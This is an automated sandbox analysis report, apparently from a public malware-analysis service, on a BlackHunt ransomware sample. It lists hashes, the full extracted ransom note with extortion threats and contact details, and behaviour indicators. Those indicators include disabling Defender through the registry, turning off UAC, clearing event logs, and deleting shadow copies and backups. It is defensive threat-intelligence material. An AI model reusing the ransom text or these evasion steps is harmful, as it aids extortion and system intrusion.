4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:18

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General

Target

4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
Size

707KB
MD5

9824e66e0af7577f795ae2490e9b73b2
SHA1

457bfc18c01092ae31d8c621647cf0c3a2c3f1b0
SHA256

4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a
SHA512

a0b257f978f9f3c6abe3ba3947f20c885ec7b681c78030fa5485a908396e34d156ab1bad4135560e0d284add50695922ca83500b05371b75f3297297850b03a2
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1w82vnh:6uaTmkZJ+naie5OTamgEoKxLW7Ih

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 0UbRv8PwQoo64Jfw </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1580	fsutil.exe
1164	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1812	wevtutil.exe
2708	wevtutil.exe
2300	wevtutil.exe
3992	wevtutil.exe
2820	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2124	bcdedit.exe
3496	bcdedit.exe
2772	bcdedit.exe
3008	bcdedit.exe

Renames multiple (2889) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
900	wbadmin.exe
3392	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3432	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\I:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\G:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\T:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\P:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\V:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\Y:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\H:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\L:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\O:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\S:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\K:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\Z:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\B:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\X:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\W:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\U:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\J:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\A:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\N:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\M:	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi.compatibility.state_1.0.1.v20140709-1414.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\title.htm	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher_1.3.0.v20140911-0143.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Tijuana	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Lagos	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Tarawa	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Magadan	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\currency.data	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_Private.key	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Kosrae	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaSansRegular.ttf	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-snaptracer.xml	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\com-sun-tools-visualvm-modules-startup.jar	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_Private.key	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.hta	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.txt	4f270eb34ddbdce8913135666527a42b84f86c8b4d42efc21d813b42a1d9d32a.exe
